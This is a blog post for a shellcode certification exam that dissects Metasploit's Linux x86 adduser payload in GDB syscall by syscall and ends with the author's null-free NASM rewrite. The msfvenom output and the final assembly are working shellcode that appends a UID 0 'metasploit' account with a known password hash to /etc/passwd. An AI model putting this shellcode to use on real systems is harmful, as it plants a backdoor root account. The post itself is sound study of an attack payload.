Metasploit adduser Analysis via GDB (SLAE Exam Assignment #5.2)

Up next in assignment #5 is my Metasploit adduser analysis.

Metasploit adduser Analysis - Introduction

While I thought it would save me some extra posts, it looks like each analysis will take up an entire post.

As before, I will be performing analysis on one Metasploit shellcode with one tool. In this case, it will be the adduser shellcode and GDB respectively.

Add User Shellcode - Payload Generation

The next shellcode that I'll cover is the linux/x86/adduser payload using GDB.

I'll look at the basic options again before generating the payload.

As you can see, we have to set the password, username, and optional login shell for the user.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape 
    vlad902 
    spoonm 

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

I decided to keep the default username and shell, but change the password. I changed the password to passw0rd so that it would be easier to differentiate from the username during analysis.

Payload Execution

With my options selected, I generated the payload that I wanted.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/adduser USER=metasploit SHELL=/bin/sh PASS=passw0rd -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x50\x4a\x6b\x50"
"\x69\x38\x7a\x70\x70\x42\x6b\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Next, I added the payload to my wrapper program and executed. As before, the shellcode length is incorrect due to null bytes.

doyler@slae:~/slae/_exam/msf_analysis$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.c 
doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode 
Shellcode Length: 40

That said, the first execution was unsuccessful. I checked the passwd file, but the program didn't add any new users.

doyler@slae:~/slae/_exam/msf_analysis$ tail -3 /etc/passwd
doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin

I realized that I should have expected this behavior, as only root can add new users.

doyler@slae:~/slae/_exam/msf_analysis$ sudo ./shellcode 
Shellcode Length: 40
doyler@slae:~/slae/_exam/msf_analysis$ tail -3 /etc/passwd
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh

With the shellcode working, it was time to start my analysis!

Metasploit adduser Analysis - GDB

First, I made the shellcode wrapper program SUID root, to avoid having to sudo it each time.

doyler@slae:~/slae/_exam/msf_analysis$ sudo chown root:root shellcode
doyler@slae:~/slae/_exam/msf_analysis$ sudo chmod 4755 shellcode

Next, I loaded the application into GDB, set an initial breakpoint, and configured my hook

doyler@slae:~/slae/_exam/msf_analysis$ gdb -q shellcode
Reading symbols from /home/doyler/slae/_exam/msf_analysis/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>print/x $edi
>print/x $esi
>x/8xw $esp
>disassemble $eip,+10
>end

I started up the program, and hit my initial breakpoint.

(gdb) r
Starting program: /home/doyler/slae/_exam/msf_analysis/shellcode 
Shellcode Length: 40
$1 = 0x804a040
$2 = 0xb775eff4
$3 = 0x0
$4 = 0x0
$5 = 0x804a069
$6 = 0x0
0xbf984f4c:	0x08048430	0x08048510	0x00000028	0x08049ff4
0xbf984f5c:	0x08048461	0xffffffff	0xb75e9dd6	0xb775eff4
Dump of assembler code from 0x804a040 to 0x804a04a:
=> 0x0804a040 <code+0>:	xor    ecx,ecx
   0x0804a042 <code+2>:	mov    ebx,ecx
   0x0804a044 <code+4>:	push   0x46
   0x0804a046 <code+6>:	pop    eax
   0x0804a047 <code+7>:	int    0x80
   0x0804a049 <code+9>:	push   0x5
End of assembler dump.

Breakpoint 1, 0x0804a040 in code ()

You can find the entire disassembly below.

=> 0x0804a040 <+0>:	xor    ecx,ecx
   0x0804a042 <+2>:	mov    ebx,ecx
   0x0804a044 <+4>:	push   0x46
   0x0804a046 <+6>:	pop    eax
   0x0804a047 <+7>:	int    0x80
   0x0804a049 <+9>:	push   0x5
   0x0804a04b <+11>:	pop    eax
   0x0804a04c <+12>:	xor    ecx,ecx
   0x0804a04e <+14>:	push   ecx
   0x0804a04f <+15>:	push   0x64777373
   0x0804a054 <+20>:	push   0x61702f2f
   0x0804a059 <+25>:	push   0x6374652f
   0x0804a05e <+30>:	mov    ebx,esp
   0x0804a060 <+32>:	inc    ecx
   0x0804a061 <+33>:	mov    ch,0x4
   0x0804a063 <+35>:	int    0x80
   0x0804a065 <+37>:	xchg   ebx,eax
   0x0804a066 <+38>:	call   0x804a093 <code+83>
   0x0804a06b <+43>:	ins    DWORD PTR es:[edi],dx
   0x0804a06c <+44>:	gs
   0x0804a06d <+45>:	je     0x804a0d0
   0x0804a06f <+47>:	jae    0x804a0e1
   0x0804a071 <+49>:	ins    BYTE PTR es:[edi],dx
   0x0804a072 <+50>:	outs   dx,DWORD PTR ds:[esi]
   0x0804a073 <+51>:	imul   esi,DWORD PTR [edx+edi*1+0x41],0x6b4a507a
   0x0804a07b <+59>:	push   eax
   0x0804a07c <+60>:	imul   edi,DWORD PTR [eax],0x4270707a
   0x0804a082 <+66>:	imul   edi,DWORD PTR [edx],0x30
   0x0804a085 <+69>:	cmp    dh,BYTE PTR [eax]
   0x0804a087 <+71>:	cmp    bh,BYTE PTR [edx]
   0x0804a089 <+73>:	das    
   0x0804a08a <+74>:	cmp    ch,BYTE PTR [edi]
   0x0804a08c <+76>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a08f <+79>:	das    
   0x0804a090 <+80>:	jae    0x804a0fa
   0x0804a092 <+82>:	or     bl,BYTE PTR [ecx-0x75]
   0x0804a095 <+85>:	push   ecx
   0x0804a096 <+86>:	cld    
   0x0804a097 <+87>:	push   0x4
   0x0804a099 <+89>:	pop    eax
   0x0804a09a <+90>:	int    0x80
   0x0804a09c <+92>:	push   0x1
   0x0804a09e <+94>:	pop    eax
   0x0804a09f <+95>:	int    0x80
   0x0804a0a1 <+97>:	add    BYTE PTR [eax],al

As I want this post to differ from the last one, I'm going to follow these steps:

  • Set a breakpoint at any interrupt calls.
  • Break down the syscall parameters and outcome, similar to the last post.
  • Take a look at any jumps within the code.
  • Try to avoid analyzing too many individual instructions.

With that in mind, I set some breakpoints.

(gdb) b *0x0804a063
Breakpoint 2 at 0x804a063
(gdb) b *0x0804a047
Breakpoint 3 at 0x804a047
(gdb) b *0x0804a09a
Breakpoint 4 at 0x804a09a
(gdb) b *0x0804a09f
Breakpoint 5 at 0x804a09f

Syscall #1 - Setreuid

With my breakpoints set, I continued execution until hitting the first one.

(gdb) c
Continuing.
$7 = 0x46
$8 = 0x0
$9 = 0x0
$10 = 0x0
$11 = 0x804a069
$12 = 0x0
0xbf984f4c:	0x08048430	0x08048510	0x00000028	0x08049ff4
0xbf984f5c:	0x08048461	0xffffffff	0xb75e9dd6	0xb775eff4
Dump of assembler code from 0x804a047 to 0x804a051:
=> 0x0804a047 <code+7>:	int    0x80
   0x0804a049 <code+9>:	push   0x5
   0x0804a04b <code+11>:	pop    eax
   0x0804a04c <code+12>:	xor    ecx,ecx
   0x0804a04e <code+14>:	push   ecx
   0x0804a04f <code+15>:	push   0x64777373
End of assembler dump.

Breakpoint 3, 0x0804a047 in code ()

Taking a look at my syscall reference, 0x46 is the syscall for setreuid16.

Breaking down the registers gives us the following call and parameters.

This call will set the real (ruid) and effective (euid) user IDs of the calling process. With these values set to 0, it will allow the rest of the program to execute as root.

Syscall #2 - Open

With our euid set, it was time to continue to the next interrupt.

(gdb) c
Continuing.
$13 = 0x5
$14 = 0xbf984f3c
$15 = 0x401
$16 = 0x0
$17 = 0x804a069
$18 = 0x0
0xbf984f3c:	0x6374652f	0x61702f2f	0x64777373	0x00000000
0xbf984f4c:	0x08048430	0x08048510	0x00000028	0x08049ff4
Dump of assembler code from 0x804a063 to 0x804a06d:
=> 0x0804a063 <code+35>:	int    0x80
   0x0804a065 <code+37>:	xchg   ebx,eax
   0x0804a066 <code+38>:	call   0x804a093 <code+83>
   0x0804a06b <code+43>:	ins    DWORD PTR es:[edi],dx
   0x0804a06c <code+44>:	gs
End of assembler dump.

Breakpoint 2, 0x0804a063 in code ()

The next system call is for open.

Again, the register configuration gives us the following call:

  • EAX - 0x5 (sys_open)
  • EBX - 0xbf984f3c (pathname for the file to open)
  • ECX - 0x401 (flags)

First, I'll take a look at the pathname in the EBX register.

(gdb) x/4xw 0xbf984f3c 
0xbf984f3c:	0x6374652f	0x61702f2f	0x64777373	0x00000000

Upon decoding and reversing this string, it is the path to /etc/passwd.

>>> "6477737361702f2f6374652f".decode("hex")[::-1]
'/etc//passwd'

Regarding the flags parameter, we can take a look at one of the header files.

doyler@slae:~/slae/_exam/msf_analysis$ cat /usr/include/asm-generic/fcntl.h
#ifndef _ASM_GENERIC_FCNTL_H
#define _ASM_GENERIC_FCNTL_H

#include <linux/types.h>

/*
 * FMODE_EXEC is 0x20
 * FMODE_NONOTIFY is 0x1000000
 * These cannot be used by userspace O_* until internal and external open
 * flags are split.
 * -Eric Paris
 */

/*
 * When introducing new O_* bits, please check its uniqueness in fcntl_init().
 */

#define O_ACCMODE	00000003
#define O_RDONLY	00000000
#define O_WRONLY	00000001
#define O_RDWR		00000002
#ifndef O_CREAT
#define O_CREAT		00000100	/* not fcntl */
#endif
#ifndef O_EXCL
#define O_EXCL		00000200	/* not fcntl */
#endif
#ifndef O_NOCTTY
#define O_NOCTTY	00000400	/* not fcntl */
#endif
#ifndef O_TRUNC
#define O_TRUNC		00001000	/* not fcntl */
#endif
#ifndef O_APPEND
#define O_APPEND	00002000
#endif
#ifndef O_NONBLOCK
#define O_NONBLOCK	00004000
#endif

Based on this output, the application sets the flags to O_APPEND and O_WRONLY.

>>> hex(int(str(int("2000", 8))) | int(str(int("1", 8))))
'0x401'

With all of this in mind, the next call will open /etc/passwd in read and write mode.

Syscall #3 - Write

Continuing on, we hit our 3rd system call.

(gdb) c
Continuing.
$21 = 0x4
$22 = 0xfffffff3
$23 = 0x804a06b
$24 = 0x28
$25 = 0x804a069
$26 = 0x0
0xbf984f3c:	0x6374652f	0x61702f2f	0x64777373	0x00000000
0xbf984f4c:	0x08048430	0x08048510	0x00000028	0x08049ff4
Dump of assembler code from 0x804a09a to 0x804a0a4:
=> 0x0804a09a <code+90>:	int    0x80
   0x0804a09c <code+92>:	push   0x1
   0x0804a09e <code+94>:	pop    eax
   0x0804a09f <code+95>:	int    0x80
   0x0804a0a1 <code+97>:	add    BYTE PTR [eax],al
   0x0804a0a3:	add    BYTE PTR [eax],al
End of assembler dump.

Breakpoint 4, 0x0804a09a in code ()

As could be expected, this third call is to write. You can find the method and parameters below.

  • EAX - 0x4 (sys_write)
  • EBX - 0xfffffff3 (FD to write to)
  • ECX - 0x804a06b (buffer to write from)
  • EDX - 0x28 (number of bytes to write)

After some debugging, I realized that GDB wasn't properly handing the seteuid call, and the EBX register was wrong.

Next, I restarted GDB and got back to this syscall.

(gdb) c
Continuing.
$21 = 0x4
$22 = 0x7
$23 = 0x804a06b
$24 = 0x28
$25 = 0x804a069
$26 = 0x0
0xbf984f3c:	0x6374652f	0x61702f2f	0x64777373	0x00000000
0xbf984f4c:	0x08048430	0x08048510	0x00000028	0x08049ff4
Dump of assembler code from 0x804a09a to 0x804a0a4:
=> 0x0804a09a <code+90>:	int    0x80
   0x0804a09c <code+92>:	push   0x1
   0x0804a09e <code+94>:	pop    eax
   0x0804a09f <code+95>:	int    0x80
   0x0804a0a1 <code+97>:	add    BYTE PTR [eax],al
   0x0804a0a3:	add    BYTE PTR [eax],al
End of assembler dump.

Breakpoint 4, 0x0804a09a in code ()

I then took a look at the PID of the current process.

(gdb) info proc
process 3067
cmdline = '/home/doyler/slae/_exam/msf_analysis/shellcode'
cwd = '/home/doyler/slae/_exam/msf_analysis'
exe = '/home/doyler/slae/_exam/msf_analysis/shellcode'

Next, I listed files opened by this process. This would allow me to see and verify what FD 7 was pointing to.

(gdb) shell lsof -p 3067
COMMAND    PID USER   FD   TYPE     DEVICE SIZE/OFF   NODE NAME
shellcode 3067 root  cwd    DIR        8,1     4096 319820 /home/doyler/slae/_exam/msf_analysis

... snip ...

shellcode 3067 root    3u  unix 0xdf3282c0      0t0  67816 socket
shellcode 3067 root    4u  unix 0xdf329080      0t0  67817 socket
shellcode 3067 root    5r  FIFO        0,8      0t0  67818 pipe
shellcode 3067 root    6w  FIFO        0,8      0t0  67818 pipe
shellcode 3067 root    7w   REG        8,1     1753 417554 /etc/passwd

With FD 7 verified as /etc/passwd, it was time to check the buffer.

(gdb) x/11xw 0x804a06b
0x804a06b <code+43>:	0x6174656d	0x6f6c7073	0x413a7469	0x6b4a507a
0x804a07b <code+59>:	0x7a386950	0x6b427070	0x303a303a	0x3a2f3a3a
0x804a08b <code+75>:	0x6e69622f	0x0a68732f	0xfc518b59

Next, I decoded it using Python.

>>> "0a68732f6e69622f3a2f3a3a303a303a6b4270707a3869506b4a507a413a74696f6c70736174656d".decode("hex")[::-1]
'metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh\n'

In the end, this system call will write the new user string to the previously opened /etc/passwd file.

Syscall #4 - Exit

Finally, we have our exit syscall. This calls sys_exit with a status code of 1.

Continuing.
$87 = 0x1
$88 = 0x1
$89 = 0x804a06b
$90 = 0x28
$91 = 0x804a069
$92 = 0x0
0xbf8ae59c:	0x6374652f	0x61702f2f	0x64777373	0x00000000
0xbf8ae5ac:	0x08048430	0x08048510	0x00000028	0x08049ff4
Dump of assembler code from 0x804a09f to 0x804a0a9:
=> 0x0804a09f <code+95>:	int    0x80
   0x0804a0a1 <code+97>:	add    BYTE PTR [eax],al
   0x0804a0a3:	add    BYTE PTR [eax],al
   0x0804a0a5:	add    BYTE PTR [eax],al
   0x0804a0a7:	add    BYTE PTR [eax],al
End of assembler dump.

Breakpoint 5, 0x0804a09f in code ()

Null Removal and the Code

In the case of this shellcode, there were only three null bytes after the relative call.

Unfortunately, I wasn't able to save any bytes by removing these nulls. That said, I was able to remove them by replacing the relative call with a JMP-CALL-POP gadget.

You can find my version of the shellcode below.

; Filename: metasploit_adduser.nasm
; Author: Ray Doyle (@doylersec)
; Website: https://www.doyler.net
;
; Purpose: SLAE Exam Assignment #5 - Metasploit adduser shellcode (Linux/x86) for metasploit/passw0rd with no null bytes

global _start

section .text

_start:
   xor ebx,ebx
   xor ecx,ecx

setreuid:
   push 0x46
   pop eax
   int 0x80

read:
   push 0x5
   pop eax
   xor ecx,ecx
   push ecx
   push 0x64777373
   push 0x61702f2f
   push 0x6374652f
   mov ebx,esp
   inc ecx
   mov ch,0x4
   int 0x80
   xchg ebx,eax

pre_write:
   jmp call_write

write:
   pop ecx
   push 0x4
   pop eax
   push 0x28
   pop edx
   int 0x80

exit:
   push 0x1
   pop eax
   int 0x80

call_write:
   call write
   userinfo: db "metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh", 0x0A

Metasploit adduser Analysis - Summary and Conclusion

Combining our 4 system calls, we get the following application.

  • Set the effective user ID to 0 (root).
  • Open /etc/passwd in RW and Append mode.
  • Append the new user line to the end of the file.
  • Cleanly exit.

I think I did a good job analyzing this shellcode without going over each individual line.

Next week will be the final analysis for this assignment, and I'm looking forward to it.

Finally, you can find the code and updates in my GitHub repository.

SLAE Exam Requirement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1212

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.